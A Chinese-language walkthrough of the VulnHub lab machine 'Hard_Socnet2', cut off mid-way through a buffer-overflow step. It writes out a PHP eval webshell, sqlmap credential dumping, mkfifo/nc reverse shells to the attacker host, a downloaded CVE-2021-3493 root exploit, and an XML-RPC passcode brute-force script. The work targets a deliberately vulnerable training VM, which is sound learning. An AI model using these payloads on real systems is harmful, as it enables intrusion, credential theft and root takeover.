yongz
发布于 2023-01-08 / 0 阅读
0

Hard_Socnet2

Hard_Socnet2

靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/

1 信息收集

  • 由于将 Kali 与 VulnHub 使用 Virtual Box 仅主机网卡进行了桥接,所以使用 Kali 去扫描靶机。

  • 首先查看 Kali IP 地址:

┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.56.105  netmask 255.255.255.0  broadcast 192.168.56.255
        inet6 fe80::adc5:106b:ff3c:9390  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:a8:8a:0b  txqueuelen 1000  (Ethernet)
        RX packets 24  bytes 10921 (10.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 549  bytes 40698 (39.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
  • 扫描当前网段,发现靶机 IP 地址:

┌──(root㉿kali)-[~]
└─# arp-scan 192.168.56.0/24           
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a8:8a:0b, IPv4: 192.168.56.105
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:1b       (Unknown: locally administered)
192.168.56.100  08:00:27:8b:bb:0a       PCS Systemtechnik GmbH
192.168.56.110  08:00:27:de:a3:c2       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.963 seconds (130.41 hosts/sec). 3 responded
  • 继续使用 Nmap 扫描端口、开放服务等信息:

┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.56.110
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 20:24 EST
Nmap scan report for 192.168.56.110
Host is up (0.00084s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
MAC Address: 08:00:27:DE:A3:C2 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.44 seconds

┌──(root㉿kali)-[~]
└─# nmap -p 22,80,8000 -sV 192.168.56.110
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 20:25 EST
Nmap scan report for 192.168.56.110
Host is up (0.00051s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8000/tcp open  http    BaseHTTPServer 0.3 (Python 2.7.15rc1)
MAC Address: 08:00:27:DE:A3:C2 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.66 seconds
  • 扫描出 80、8000 端口的 Web 服务。其中 80 端口是 Apache 的 Web 服务,8000 端口是 Python2 的 Web 服务。

  • 通常情况下不考虑 SSH 爆破,访问一下 Web 服务:

2 BurpSuite 修改请求方式

  • 访问 8000 端口时显示访问错误:

Error response

Error code 501.

Message: Unsupported method ('GET').

Error code explanation: 501 = Server does not support this operation. 

错误响应

错误代码501。

消息:不支持的方法('GET')。

错误码解释:501 =服务器不支持此操作。
  • 经过搜索,HTTP 501 状态码表示如下含义:

501 - Not Implemented(未实现)- 客户端发起的请求超出服务器的能力范围(比如:使用服务器不支持的请求方法)。
  • 结合上面的报错信息,可以尝试使用 BurpSuite 修改请求方式:

  • 可以看到请求方式变成了 POST,放过此包:

  • 页面出现了 XML 代码,目前不是很看得懂,先放一放。

3 Web 账号注册

  • 返回之前的 80 端口 Web 服务,观察一下:

  • 发现是 email 账号和密码的组合登录,基本可以不用考虑爆破了。

  • 因为账号是 email 格式的存在,这就造成了爆破难度非常大。

  • 不过除了登录外,还有注册功能,尝试注册一个账号(真实环境中,请勿使用个人信息):

  • 成功登录!点击下方 admin 账户,看看会不会存在邮箱信息,拿去爆破:

  • 可惜没有,不过根据他发表的留言,翻译一下:

Hello friends! I have been working on a new script for monitoring servers. It is called monitor.py. I am running it on this server. I will release it soon!

你好朋友!我一直在写一个监控服务器的新脚本。它被称为monitor.py。我在这个服务器上运行它。我很快就会发布!
  • 说明靶机上至少存在一个 monitor.py 文件和 Python 环境。但目前来看,没什么作用。

4 文件上传

  • 经过一番寻找,发现头像处可以进行文件上传:

  • 编写个 shell.php 一句话木马文件:

<?php
  @eval($_REQUEST['cmd']);
?>
  • 尝试上传 PHP 文件当做头像:

  • 上传成功~

  • 查找一下文件路径,右键头像,得到路径:

http://192.168.56.110/data/images/profiles/3.php
  • 尝试命令执行以下:

http://192.168.56.110/data/images/profiles/3.php?cmd=phpinfo();
  • 命令执行成功,使用蚁剑连接:

  • 成功连接!

5 SQL 注入

  • 除文件上传外,在进行文章搜索时出现报错:

  • 出现原始报错信息,基本可以确定出现了 SQL 注入漏洞,使用 SQLmap 一把梭。

  • 但此次因使用 -r 参数,因为目前处于登录环境中需要 Cookie 信息,使用 BurpSuite 抓包,保存为文件:

  • SQL map 一把梭:

sqlmap -r url.txt --batch
## sqlmap -r url.txt --batch --dbs
[*] information_schema
[*] mysql
[*] performance_schema
[*] socialnetwork
[*] sys

## sqlmap -r url.txt --batch -D socialnetwork --tables
+------------+
| friendship |
| posts      |
| user_phone |
| users      |
+------------+

## sqlmap -r url.txt --batch -D socialnetwork -T users --columns
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| user_about     | text         |
| user_birthdate | date         |
| user_email     | varchar(255) |
| user_firstname | varchar(20)  |
| user_gender    | char(1)      |
| user_hometown  | varchar(255) |
| user_id        | int(11)      |
| user_lastname  | varchar(20)  |
| user_nickname  | varchar(20)  |
| user_password  | varchar(255) |
| user_status    | char(1)      |
+----------------+--------------+

## sqlmap -r url.txt --batch -D socialnetwork -T users -C user_email,user_password --dump
+------------------------+---------------------------------------------+
| user_email             | user_password                               |
+------------------------+---------------------------------------------+
| admin@localhost.com    | 21232f297a57a5a743894a0e4a801fc3 (admin)    |
| testuser@localhost.com | 5d9c68c6c50ed3d02a2fcf54f63993b6 (testuser) |
| 123456@qq.com          | e10adc3949ba59abbe56e057f20f883e (123456)   |
+------------------------+---------------------------------------------+
  • 得到管理员账户密码:admin@localhost.com/admin

  • 但是登录到管理员账户后,目前暂时没有发现了漏洞,淦,白跑了。

6 内核提权(偷鸡)

  • 回到蚁剑的 Shell 界面上,发现权限并不高,需要提权:

  • 查看一下内核:

(www-data:/home/socnet) $ uname -a
Linux socnet2 4.15.0-38-generic #41-Ubuntu SMP Wed Oct 10 10:59:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
(www-data:/home/socnet) $ lsb_release -a
No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu 18.04.1 LTS
Release:    18.04
Codename:    bionic
## 在 Kali 上开启 NC 监听
nc -lvvp 4444

## 在蚁剑上输入如下命令
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.105 4444 >/tmp/f
  • 功反弹!

  • CVE-2021-3493 EXP 下载到 Kali 上,通过 Web 服务下载到靶机上:

## 在 Kali 上下载 EXP(网速不好就不用尝试了,下载拖到 Kali 里面)
cd /tmp
git clone https://github.com/briskets/CVE-2021-3493.git
mv CVE-2021-3493-main CVE

## 在 Kali 上开启 Python Web 服务
python3 -m http.server 80

## 在靶机上进行下载
cd /tmp
wget http://192.168.56.105/CVE/exploit.c

## 编译、执行
gcc exploit.c -o exploit
./exploit

## id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
  • 提权成功!

  • 但是的但是,这个靶机的难度描述是高难度,为什么这么容易?

  • 先来看下这个靶机的发布时间 2020 年,而现在是 2021 年,用 21 年发现的漏洞利用代码才得以实现!

  • 接下来,继续漫长的打靶之旅,不以 CVE-2021-3493 进行提权。

7 XMLPRC 漏洞利用

  • 回到之前的普通身份,使用 Python 升级一下 Shell(感觉没啥变化):

python -c 'import pty; pty.spawn("/bin/bash")'
  • 查看靶机普通用户:

cat /etc/passwd | grep /bin/bash

www-data@socnet2:/tmp$ cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
socnet:x:1000:1000:socnet2:/home/socnet:/bin/bash
  • 发现了一个 socnet 用户,去家目录瞅瞅:

www-data@socnet2:/home/socnet$ ls -l
ls -l
total 16
-rwsrwsr-x 1 root   socnet 6952 Oct 29  2018 add_record
-rw-rw-r-- 1 socnet socnet  904 Oct 29  2018 monitor.py
drwxrwxr-x 4 socnet socnet 4096 Oct 29  2018 peda
  • 发现了一个之前在 Web 留言中的 monitor.py 文件,cat 一下:

www-data@socnet2:/home/socnet$ cat monitor.py
cat monitor.py
#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random

debugging_pass = random.randint(1000,9999)

def runcmd(cmd):
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output

def cpu():
    return runcmd("cat /proc/cpuinfo")

def mem():
    return runcmd("free -m")

def disk():
    return runcmd("df -h")

def net():
    return runcmd("ip a")

def secure_cmd(cmd,passcode):
    if passcode==debugging_pass:
         return runcmd(cmd)
    else:
        return "Wrong passcode."

server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)

server.serve_forever()
## 导入 XMLRPCServer 模块
from xmlrpc.server import SimpleXMLRPCServer

## 定义 is_even 函数
def is_even(n): 
    return n % 2 == 0

## 具体服务的地址与端口号
server = SimpleXMLRPCServer(("localhost", 8000))
print("Listening on port 8000...")
server.register_function(is_even, "is_even")
server.serve_forever()
  • 还有一个 XMLRPCClient 示例文件,分析一下:

## 导入 XMLRPCClient 模块
import xmlrpc.client

## 定义一个访问 XMLRPCServer 连接,并在其中加入需要访问的函数,此处访问的函数时 proxy.is_even
with xmlrpc.client.ServerProxy("http://localhost:8000/") as proxy:
    print("3 is even: %s" % str(proxy.is_even(3)))
    print("100 is even: %s" % str(proxy.is_even(100)))
  • 可以,经过了上述的代码分析,分析一下 monitor.py 的代码:

## 导入 XMLRPCServer 模块
import SimpleXMLRPCServer
## 导入 subprocess 模块,用于管理进程
import subprocess
## 导入 random 模块
import random

## 定义一个随机数,每当启动服务时都会进行改变,但是启动后随机数就已经固定了
debugging_pass = random.randint(1000,9999)

## 定义一个 runcmd 函数,变量名为 cmd
def runcmd(cmd):
	# 打开一个进程,执行 cmd 命令,定义 Shell,输入输出,赋值给 results 变量
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    # 将 results 的输入输出都赋值给 output 变量
    output = results.stdout.read() + results.stderr.read()
    # 返回 output 变量内容
    return output

## 定义一个函数 cpu,访问时执行 cat /proc/cpuinfo,查看 cpu 情况
def cpu():
    return runcmd("cat /proc/cpuinfo")

## 定义一个函数 mem,访问时执行 free -m,查看内存使用情况
def mem():
    return runcmd("free -m")

## 定义一个函数 disk,访问时执行 df -h,查看磁盘情况
def disk():
    return runcmd("df -h")

## 定义一个函数 net(),访问时执行 ip a,查看 IP 地址
def net():
    return runcmd("ip a")

## 定义一个函数 secure_cmd(),变量有 cmd 和 passcode
def secure_cmd(cmd,passcode):
	# 当输入的 passcode 和 debugging_pass 一致时将 cmd 带入 runcmd 去执行,不同时显示 Wrong passcode.
    if passcode==debugging_pass:
         return runcmd(cmd)
    else:
        return "Wrong passcode."

## 具体服务的地址与端口号
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))

## 调用上述定义好的函数
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)

server.serve_forever()
  • 根据之前的代码审计可以简单写出 Client 利用代码:

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.56.110:8000/") as proxy:
    print(proxy.men())
    
'''
              total        used        free      shared  buff/cache   available
Mem:            985         299         325           2         360         541
Swap:          1969           0        1969

'''
  • 代码审计之后,需要先判断出对应 debugging_pass 的值,才能进行任意代码执行,经过简单的测试,代码如下:

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.56.110:8000/") as proxy:
    cmd1 = 'ls /etc'
    cmd2 = 'id'
    for n in range(1000, 10000):
        result = proxy.secure_cmd(cmd1, n)
        if not "Wrong passcode." in result:
            break
    print(proxy.secure_cmd(cmd2, n))
    
'''
uid=1000(socnet) gid=1000(socnet) groups=1000(socnet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

'''
  • 成功执行!并且以此服务执行的命令拥有 socnet 用户权限,使用 NC 反弹 Shell:

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.56.110:8000/") as proxy:
    cmd1 = 'ls /etc'
    cmd2 = 'rm /tmp/p;mkfifo /tmp/p;cat /tmp/p|/bin/bash -i 2>&1|nc 192.168.56.105 5555 >/tmp/p'
    for n in range(1000, 10000):
        result = proxy.secure_cmd(cmd1, n)
        if not "Wrong passcode." in result:
            break
    print(proxy.secure_cmd(cmd2, n))
  • 在 Kali 上开启监听:

┌──(root㉿kali)-[/tmp]
└─# nc -lvvp 5555                        
listening on [any] 5555 ...
192.168.56.110: inverse host lookup failed: Unknown host
connect to [192.168.56.105] from (UNKNOWN) [192.168.56.110] 54014
id
uid=1000(socnet) gid=1000(socnet) groups=1000(socnet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
  • 成功获得 Shell,使用 Python 升级一下:

python -c 'import pty; pty.spawn("/bin/bash")'
socnet@socnet2:~$ id
id
uid=1000(socnet) gid=1000(socnet) groups=1000(socnet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

8 缓冲区溢出漏洞

  • 但还不是 root 账户权限,在刚才查看 socnet 用户目录的情况下,还有两个文件:add_record、peda

socnet@socnet2:~$ file add_record
file add_record
add_record: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e3fa9a66b0b1e3281ae09b3fb1b7b82ff17972d8, not stripped
  • 其中 add_record 是一个类型 exe 的可执行文件(ELF:Linux 的主要可执行文件格式)。并且出现了 setuid、setgid 这样的字眼,可以初步判定下一步提权的关键就是它了。

  • 而 peda 目录经过百度发现是一个 GDB 插件,而 GDB 是强大的 UNIX 下的程序调试工具。

  • 结合两者,作者的想法应该是通过 GDB 调试 add_record 程序,造成缓冲区溢出、内存溢出等漏洞,进行提权。

  • 明白作者的想法后,先尝试运行 add_record 文件,判断其运行方式:

## 执行文件
socnet@socnet2:~$ ./add_record 
./add_record
## 欢迎标语
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
## 第一个输入点
Employee Name(char): yongz
yongz
## 第二个输入点
Years worked(int): 1
1
## 第三个输入点
Salary(int): 100
100
## 第四个输入点
Ever got in trouble? 1 (yes) or 0 (no): 0
0
Employee data you've entered:
Name yongz

Years 1, Salary 100, Trouble 0, Comments NA
  • 在输入完成后,目录产生了新的文件:

socnet@socnet2:~$ ls -l
ls -l
total 20
-rwsrwsr-x 1 root   socnet 6952 Oct 29  2018 add_record
-rw-rw-r-- 1 root   socnet   56 Jan  9 08:20 employee_records.txt
-rw-rw-r-- 1 socnet socnet  904 Oct 29  2018 monitor.py
drwxrwxr-x 4 socnet socnet 4096 Oct 29  2018 peda

socnet@socnet2:~$ cat employee_records.txt
cat employee_records.txt
Name yongz

Years 1, Salary 100, Trouble 0, Comments NA
  • 查看文件后发现,存在第五个输入点,应该就是在 1 和 0 的选择那了,再来一遍:

socnet@socnet2:~$ ./add_record
./add_record
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): yongz
yongz
Years worked(int): 1
1
Salary(int): 100
100
Ever got in trouble? 1 (yes) or 0 (no): 1
1
Explain: 1234567890
1234567890
Employee data you've entered:
Name yongz

Years 1, Salary 100, Trouble 1, Comments 1234567890

socnet@socnet2:~$ cat employee_records.txt
cat employee_records.txt
Name yongz

Years 1, Salary 100, Trouble 0, Comments NA
Name yongz

Years 1, Salary 100, Trouble 1, Comments 1234567890
  • 现在有了,一共五个输入点,进入 GDB 分别尝试一下,超长字符输入:

## GDB 常用命令
-q 								# 屏蔽一些 gdb 版本等相关信息,使得页面看起来干净些
gdb -q ./xxxx 					# 启动调试
r(run) 							# 运行程序
b(break) + num 					# 设置断点
info + num 						# 查看断点
info func 						# 查看程序所有定义的函数
s(step) 						# 单步执行程序,但遇到函数会进入函数
print + var 					# 查看变量值
q(quit) 						# 退出
delete + num 					# 删除断点
c(continue) 					# 继续程序执行
disas(disassemble) + function	# 反汇编当前函数
pattern create num				# 打印 num 长度的特征字符
pattern search 					# 查找偏移量
  • 了解完,常见命令,现在开始操作。

  • 既然涉及到缓冲区溢出(靶机内存存在缓冲区漏洞会覆盖其他寄存器位置,通过判断其他寄存器位置的数据是否都是 A,最终判断这个注入的数据是否成功的溢出到其他的寄存器中),那肯定就需要有超长的字符输入,手打肯定不太现实,用 Python 批量一下:

python3 -c "print('A'*300)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  • 针对五个输入点,进行测试:

## 第一个输入点,exited normally
gdb-peda$ r
r
Starting program: /home/socnet/add_record 
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Years worked(int): Salary(int): Ever got in trouble? 1 (yes) or 0 (no): Employee data you've entered:
Name AAAAAAAAAAAAAAAAAAAAAAAA
Years -136196023, Salary -8481, Trouble 8, Comments NA
[Inferior 1 (process 18245) exited normally]
Warning: not running or target is remote

## 第二个输入点,exited normally
gdb-peda$ r   
r
Starting program: /home/socnet/add_record 
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): yongz
yongz
Years worked(int): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Salary(int): Ever got in trouble? 1 (yes) or 0 (no): Employee data you've entered:
Name yongz

Years -136196023, Salary -8481, Trouble 8, Comments NA
[Inferior 1 (process 18246) exited normally]
Warning: not running or target is remote

## 第三个输入点,exited normally
Starting program: /home/socnet/add_record 
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): yongz
yongz
Years worked(int): 1
1
Salary(int): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ever got in trouble? 1 (yes) or 0 (no): Employee data you've entered:
Name yongz

Years 1, Salary -8481, Trouble 8, Comments NA
[Inferior 1 (process 1478) exited normally]
Warning: not running or target is remote

## 第四个输入
gdb-peda$ r   
r
Starting program: /home/socnet/add_record 
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): yongz
yongz
Years worked(int): 1
1
Salary(int): 1  
1
Ever got in trouble? 1 (yes) or 0 (no): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Employee data you've entered:
Name yongz

Years 1, Salary 1, Trouble 8, Comments NA
[Inferior 1 (process 1465) exited normally]

## 第五个输入点,出现异常
gdb-peda$ r
r
Starting program: /home/socnet/add_record 
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): yongz
yongz
Years worked(int): 1
1
Salary(int): 1
1
Ever got in trouble? 1 (yes) or 0 (no): 1
1
Explain: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffdc0e ('A' <repeats 200 times>...)
EBX: 0x41414141 ('AAAA')
ECX: 0xffffdd90 ("AAAAAAAA")
EDX: 0xffffdd32 ("AAAAAAAA")
ESI: 0xf7fc2000 --> 0x1d4d6c 
EDI: 0xffffdcd0 ('A' <repeats 106 times>)
EBP: 0x41414141 ('AAAA')
ESP: 0xffffdc50 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffdc50 ('A' <repeats 200 times>...)
0004| 0xffffdc54 ('A' <repeats 200 times>...)
0008| 0xffffdc58 ('A' <repeats 200 times>...)
0012| 0xffffdc5c ('A' <repeats 200 times>...)
0016| 0xffffdc60 ('A' <repeats 200 times>...)
0020| 0xffffdc64 ('A' <repeats 200 times>...)
0024| 0xffffdc68 ('A' <repeats 200 times>...)
0028| 0xffffdc6c ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
  • 发现内存溢出的情况出现(堆栈中出现了 A),注意 EIP 寄存器(EIP 存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。),EIP 寄存器中也出现了 A,但是这个 A 是 200 个 A 的第几个 A 呢?

  • 为了搞清楚这个问题,这 4 个 A 的位置采用加载 Payload 的内容地址,这样一来 EIP 寄存器就会存入我们写入的地址,CPU 在运行时,就会调用 EIP 中的地址进行想要的命令执行。

  • 使用 GDB 打印一下 200 长度的特征字符:

gdb-peda$ pattern create 200
pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
  • 再次进行溢出操作:

gdb-peda$ r
r
Starting program: /home/socnet/add_record 
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): yongz
yongz
Years worked(int): 1
1
Salary(int): 1
1
Ever got in trouble? 1 (yes) or 0 (no): 1
1
Explain: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffdc0e ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EBX: 0x63414147 ('GAAc')
ECX: 0xffffdd30 ("AAyA")
EDX: 0xffffdcd2 ("AAyA")
